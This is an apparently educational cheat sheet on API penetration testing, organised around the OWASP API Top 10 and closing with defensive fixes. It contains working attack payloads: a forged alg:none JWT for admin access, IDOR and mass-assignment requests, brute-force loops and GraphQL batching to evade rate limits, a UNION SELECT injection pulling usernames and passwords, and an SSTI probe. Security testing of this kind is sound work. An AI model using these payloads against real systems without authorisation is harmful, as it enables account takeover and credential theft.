API Security Testing

Modern apps expose:
- REST APIs: /api/v1/users, /api/v2/products
- GraphQL: /graphql (single endpoint, flexible queries)
- gRPC: binary protocol
- WebSocket: ws://api.example.com/ws

Attack surface = everything the API accepts and returns

# 1. Read API documentation (if public)
/api-docs, /swagger.json, /openapi.json, /api/schema

# 2. Burp Suite Target > Site Map after browsing app

# 3. Check JS files for API endpoints:
grep -r "api/" static/js/ --include="*.js"
# or in Burp: Target > Site Map > Filter > JS

# 4. Google dorking:
site:target.com inurl:api

# 5. Swagger/OpenAPI discovery:
feroxbuster -u https://target.com -w api-endpoints.txt
ffuf -u https://target.com/FUZZ -w swagger-paths.txt

# 6. Common paths:
/api, /api/v1, /api/v2, /rest, /v1, /v2
/swagger-ui.html, /swagger.json, /openapi.json
/graphql, /graphiql, /playground

API1: Broken Object Level Authorization (BOLA/IDOR)
API2: Broken Authentication
API3: Broken Object Property Level Authorization (Mass Assignment / Excessive Exposure)
API4: Unrestricted Resource Consumption (Rate limiting)
API5: Broken Function Level Authorization
API6: Unrestricted Access to Sensitive Business Flows
API7: Server Side Request Forgery (SSRF)
API8: Security Misconfiguration
API9: Improper Inventory Management (old API versions)
API10: Unsafe Consumption of APIs

# Test endpoints without token:
curl https://api.target.com/v1/users

# Test with expired token:
curl -H "Authorization: Bearer EXPIRED_TOKEN" https://api.target.com/v1/profile

# Test with weak JWT:
# 1. Decode JWT (base64url)
echo "PAYLOAD_PART" | base64 -d

# 2. Try alg:none:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9."      https://api.target.com/admin

# 3. Check for API key in JS files:
grep -r "api_key\|apiKey\|API_KEY\|Authorization" static/ --include="*.js"

# Create two accounts, get your resource IDs
# Account A: GET /api/orders/1042 → your order
# Account B: GET /api/orders/1042 → can B read A's order?

# Test: change user parameter
GET /api/profile?user_id=1
GET /api/profile?user_id=2

# Test: change ID in path
GET /api/messages/1234
GET /api/messages/1235

# Test: change object in body
PUT /api/admin/update
{"user_id": 1, "role": "admin"}

// API returns:
GET /api/user/profile
{
    "id": 42,
    "name": "Alice",
    "email": "[email protected]",
    "password_hash": "$2b$12$...",   // should not be returned!
    "api_secret": "s3cr3t",          // internal field exposed!
    "internal_notes": "VIP customer", // PII not needed
    "credit_card_last4": "4242"       // not requested by client
}

// Fix: explicit response schema — only return needed fields:
class UserProfileResponse(BaseModel):
    id: int
    name: str
    email: str
    # password_hash excluded — never returned

# Profile update API:
PUT /api/profile
{"name": "Alice"}

# Test: add privileged fields:
PUT /api/profile
{"name": "Alice", "is_admin": true, "role": "admin", "balance": 99999}

# Check if response includes updated privileged field or
# if the next login shows elevated privileges

# Test: 100 rapid requests
for i in {1..100}; do
    curl -s https://api.target.com/login          -d '{"user":"admin","pass":"test"}' &
done

# Or with Burp Intruder/Repeater:
# Null payload, 100 iterations, check for 429 Too Many Requests

# Missing rate limit: authentication brute force possible
# Missing rate limit: API abuse (scraping, spam)

# Enumerate all types, queries, mutations:
{
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args { name type { name } }
      }
    }
  }
}

# Get all queries:
{
  __schema {
    queryType {
      fields { name description }
    }
  }
}

# Vulnerable: no ownership check
query {
  order(id: 1042) {
    id
    items
    total
    user { email }
  }
}

# Test: change id to another user's order
query {
  order(id: 1041) {   # another user's order
    id
    items
    total
    user { email }    # exposes their email!
  }
}

// GraphQL allows multiple operations in one request:
[
  {"query": "mutation { login(user:"admin", pass:"admin1") }"},
  {"query": "mutation { login(user:"admin", pass:"admin2") }"},
  {"query": "mutation { login(user:"admin", pass:"admin3") }"},
  ...100 more...
]

// One HTTP request = 100 login attempts
// Rate limiter counts 1 request, not 100 operations
// Bypasses per-request rate limiting for brute force!

// Fix: limit operations per request, rate limit per operation

# SQLi in GraphQL argument:
{
  user(id: "1 UNION SELECT username,password FROM users--") {
    name
  }
}

# SSTI in template field:
{
  greeting(name: "{{7*7}}") {
    message
  }
}

# When introspection is disabled:
# Try field suggestions (GraphQL shows similar field names on typo):
{
  usr { id }   # Server: "Did you mean 'user'?"
}

# Clairvoyance tool — guesses fields from suggestions:
clairvoyance -u https://api.target.com/graphql -o schema.json

# 1. Authentication on every endpoint
@app.route("/api/data")
@require_auth                  # every endpoint
def get_data():
    ...

# 2. Rate limiting (django-ratelimit or similar):
@ratelimit(key="ip", rate="100/h")  # per IP, 100/hour
def api_view(request):
    ...

# 3. Output filtering — explicit response schema:
class UserResponse(TypedDict):
    id: int
    name: str
    email: str
    # Never: password_hash, api_key, internal fields

# 4. Input validation:
from pydantic import BaseModel, validator

class LoginRequest(BaseModel):
    username: str
    password: str

    @validator('username')
    def username_valid(cls, v):
        if len(v) > 64 or not v.isalnum():
            raise ValueError('Invalid username')
        return v

# 5. CORS: exact allowlist
# 6. Log all API calls: timestamp, user, endpoint, response code
# 7. Versioning: deprecate old versions, don't leave API1 when API3 is live